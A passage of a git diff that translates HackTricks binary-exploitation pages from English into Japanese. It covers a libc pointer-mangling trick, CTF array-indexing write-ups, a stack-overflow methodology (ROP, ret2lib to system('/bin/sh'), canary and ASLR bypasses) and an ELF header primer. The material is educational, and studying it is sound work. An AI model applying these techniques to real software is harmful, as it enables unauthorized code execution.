initial`** で **`initial` 構造体** を確認することができます。 -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +これを悪用するには、`PTR_MANGLE` クッキーを **leak** するか消去し、その後 `system('/bin/sh')` で初期の `cxa` エントリを上書きする必要があります。\ +この例は [**技術に関する元のブログ投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) で見つけることができます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..91ce0ba72 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,18 +1,18 @@ -# Array Indexing +# 配列インデックス {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +このカテゴリには、配列のインデックスの処理におけるエラーによって特定のデータを上書きすることが可能になるために発生するすべての脆弱性が含まれています。これは非常に広いカテゴリであり、特定の方法論はありません。なぜなら、エクスプロイトメカニズムは脆弱性の条件に完全に依存するからです。 -However he you can find some nice **examples**: +しかし、いくつかの良い**例**を見つけることができます: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- **2つの衝突する配列**があります。1つはデータが保存される**アドレス**用、もう1つはそのデータの**サイズ**用です。片方からもう片方を上書きすることが可能で、任意のアドレスをサイズとして指定することができます。これにより、GOTテーブル内の`free`関数のアドレスを書き込み、その後`system`のアドレスで上書きし、`/bin/sh`を持つメモリからfreeを呼び出すことができます。 - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64ビット、nxなし。サイズを上書きして、すべてのものが倍の数として使用され、最小から最大にソートされるようなバッファオーバーフローを引き起こします。そのため、その要件を満たすシェルコードを作成する必要があります。カナリアがその位置から移動しないことを考慮し、最終的にRIPをretへのアドレスで上書きし、以前の要件を満たし、スタックの開始を指す新しいアドレスを持つ最大のアドレスを配置します(プログラムによって漏洩された)。 - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64ビット、relroなし、カナリアあり、nxなし、pieなし。スタック内の配列にオフバイワンがあり、ポインタを制御することができます。これにより、WWWを付与します(配列のすべての数の合計を上書きされたアドレスに書き込みます)。スタックは制御されているため、GOTの`exit`アドレスが`pop rdi; ret`で上書きされ、スタックに`main`へのアドレスが追加されます(`main`に戻るループ)。次に、putsを使用してGOT内のputのアドレスを漏洩させるためのROPチェーンが使用されます(`exit`が呼び出されるため、`pop rdi; ret`が呼び出され、このチェーンがスタックで実行されます)。最後に、ret2libを実行する新しいROPチェーンが使用されます。 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32ビット、relroなし、カナリアなし、nxなし、pieなし。悪いインデックスを利用して、スタックからlibcとヒープのアドレスを漏洩させます。バッファオーバーフローを利用して、`system('/bin/sh')`を呼び出すret2libを行います(ヒープアドレスはチェックをバイパスするために必要です)。 diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..5c6394da6 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,111 @@ -# Basic Binary Exploitation Methodology +# 基本的なバイナリエクスプロイテーションの方法論 {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## ELFの基本情報 -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +何かをエクスプロイトする前に、**ELFバイナリ**の構造の一部を理解することが興味深いです: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## エクスプロイティングツール {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## スタックオーバーフローの方法論 -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +多くの技術があるため、各技術がどのように役立つかのスキームを持つことは良いことです。同じ保護が異なる技術に影響を与えることに注意してください。各保護セクションで保護を回避する方法を見つけることができますが、この方法論ではありません。 -## Controlling the Flow +## フローの制御 -There are different was you could end controlling the flow of a program: +プログラムのフローを制御する方法はいくつかあります: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**スタックオーバーフロー**](../stack-overflow/) スタックからのリターンポインタや EBP -> ESP -> EIP を上書きする。 +- オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。 +- または **任意の書き込み + 実行への書き込み**。 +- [**フォーマット文字列**](../format-strings/)**:** `printf` を悪用して任意の内容を任意のアドレスに書き込む。 +- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを得る。 +- オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。 +- **bof to WWW via ROP**: バッファオーバーフローを悪用して ROP を構築し、WWW を取得できるようにします。 -You can find the **Write What Where to Execution** techniques in: +**実行への書き込み**技術は以下で見つけることができます: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## 永続ループ -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +考慮すべきことは、通常、**脆弱性の1回のエクスプロイトでは不十分な場合がある**ということです。特にいくつかの保護を回避する必要があります。したがって、**単一の脆弱性を同じバイナリの実行中に何度もエクスプロイト可能にする**いくつかのオプションを議論することは興味深いです: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- **`main` 関数**のアドレスや**脆弱性**が発生しているアドレスを ROP チェーンに書き込む。 +- 適切な ROP チェーンを制御することで、そのチェーン内のすべてのアクションを実行できるかもしれません。 +- **`exit` GOT のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込む。 +- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納し、1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出して、`.fini_array`から関数を再度呼び出します。 -## Exploitation Goals +## エクスプロイテーションの目標 -### Goal: Call an Existing function +### 目標: 既存の関数を呼び出す -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): フラグを取得するために呼び出す必要があるコード内の関数(特定のパラメータが必要な場合もあります)。 +- **PIE**がない**通常のbofでは**、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。 +- **PIE**があるbofでは、それを回避する必要があります。 +- **canary**があるbofでは、それを回避する必要があります。 +- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、次のようにできます: +- すべてのパラメータを準備するのに十分なガジェットがある場合は、[**ROP**](./#rop-and-ret2...-techniques) **チェーンを使用する**。 +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御する。 +- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御する。 +- [**Write What Where**](../arbitrary-write-2-exec/)を介して、他の脆弱性(bofではない)を悪用して**`win`**関数を呼び出すことができます。 +- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemやprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。 +- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわからない。 -### Goal: RCE +### 目標: RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### シェルコード経由、nxが無効な場合またはシェルコードとROPを混合する場合: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(スタック)シェルコード**](./#stack-shellcode): リターンポインタを上書きする前または後にスタックにシェルコードを格納し、**それにジャンプして**実行するのに役立ちます: +- **いかなる場合でも、** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**がある場合、通常のbofではそれを回避(リーク)する必要があります**。 +- **ASLR**がない場合**と**[**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)がない場合、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。 +- **ASLR**がある場合は、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。 +- **nx**がある場合は、いくつかの[**ROP**](../rop-return-oriented-programing/)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、そこにシェルコードを格納し(例えばreadを呼び出す)、そこにジャンプする必要があります。 +- これにより、シェルコードとROPチェーンが混合されます。 -#### Via syscalls +#### システムコール経由 -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 任意のコマンドを実行するために`execve`を呼び出すのに役立ちます。**特定のシステムコールをパラメータで呼び出すためのガジェットを見つける必要があります**。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)が有効な場合、バイナリやライブラリからのROPガジェットを使用するためにそれらを打破する必要があります。 +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)は**ret2execve**を準備するのに役立ちます。 +- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)や[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。 -#### Via libc +#### libc経由 -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): **`libc`**からの関数(通常は**`system`**)を呼び出すのに役立ちます。準備された引数(例:`'/bin/sh'`)を使用します。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**(通常はlibc)。 +- **静的にコンパイルされていて、** [**PIE**](../common-binary-protections-and-bypasses/pie/)がない場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。 +- **ASLR**がない場合**と**読み込まれたlibcのバージョンを知っている場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/)がない場合、libcを知っていて、バイナリが`system`関数を使用している場合、**GOT内のsystemのアドレスに`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です**(これを見つける必要があります)。 +- [ASLR](../common-binary-protections-and-bypasses/aslr/)があり[PIE](../common-binary-protections-and-bypasses/pie/)がないが、libcを知っていて**バイナリが`system`を使用していない場合**: +- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)を使用して`system`のアドレスを解決し、呼び出します。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)を回避し、メモリ内の`system`と`'/bin/sh'`のアドレスを計算します。 +- **ASLR**と[**PIE**](../common-binary-protections-and-bypasses/pie/)があり、libcを知らない場合:次のことを行う必要があります: +- [**PIE**](../common-binary-protections-and-bypasses/pie/)を回避します。 +- 使用されている**`libc`バージョン**を見つけます(いくつかの関数アドレスをリークします)。 +- 続行するために**ASLRを使用した以前のシナリオを確認します**。 -#### Via EBP/RBP +#### EBP/RBP経由 -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**スタックピボッティング / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを通じてESPを制御してRETを制御します。 +- **オフバイワン**スタックオーバーフローに役立ちます。 +- メモリ内にペイロードを構築し、EBPを介してそれにジャンプする際にEIPを制御する別の方法として役立ちます。 -#### Misc +#### その他 -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know +- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemやprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。 +- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわからない。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..0914cb3c6 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# ELF 基本情報 {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## プログラムヘッダー +ローダーに**ELF**をメモリにロードする方法を説明します: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` +前のプログラムには**9つのプログラムヘッダー**があり、**セグメントマッピング**は**各セクションがどのプログラムヘッダー(00から08まで)に位置するか**を示します。 -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +### PHDR - プログラムヘッダー -### PHDR - Program HeaDeR - -Contains the program header tables and metadata itself. +プログラムヘッダーのテーブルとメタデータ自体を含みます。 ### INTERP -Indicates the path of the loader to use to load the binary into memory. +バイナリをメモリにロードするために使用するローダーのパスを示します。 ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +これらのヘッダーは**バイナリをメモリにロードする方法**を示すために使用されます。\ +各**LOAD**ヘッダーは**メモリ**の領域(サイズ、権限、アライメント)を示し、ELF **バイナリからコピーするバイト**を示します。 -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +例えば、2番目のものはサイズが0x1190で、0x1fc48に位置し、読み取りおよび書き込みの権限を持ち、オフセット0xfc48から0x528で埋められます(すべての予約されたスペースは埋めません)。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。 ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +このヘッダーはプログラムをライブラリ依存関係にリンクし、再配置を適用するのに役立ちます。**`.dynamic`**セクションを確認してください。 ### NOTE -This stores vendor metadata information about the binary. +これはバイナリに関するベンダーメタデータ情報を保存します。 ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +スタックアンワインドテーブルの位置を定義し、デバッガーやC++例外処理ランタイム関数によって使用されます。 ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +スタック実行防止防御の構成を含みます。これが有効な場合、バイナリはスタックからコードを実行できません。 ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +バイナリのRELRO(Relocation Read-Only)構成を示します。この保護は、プログラムがロードされた後、実行を開始する前に、メモリの特定のセクション(`GOT`や`init`および`fini`テーブルなど)を読み取り専用としてマークします。 -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +前の例では、0x3b8バイトを0x1fc48に読み取り専用としてコピーし、セクション`.init_array .fini_array .dynamic .got .data .bss`に影響を与えています。 -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +RELROは部分的または完全であることに注意してください。部分的なバージョンは、**遅延バインディング**に使用され、ライブラリのアドレスを最初に検索する際にこのメモリスペースに**書き込み権限**が必要なセクション**`.plt.got`**を保護しません。 ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +スレッドローカル変数に関する情報を保存するTLSエントリのテーブルを定義します。 -## Section Headers - -Section headers gives a more detailed view of the ELF binary +## セクションヘッダー +セクションヘッダーはELFバイナリのより詳細なビューを提供します。 ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 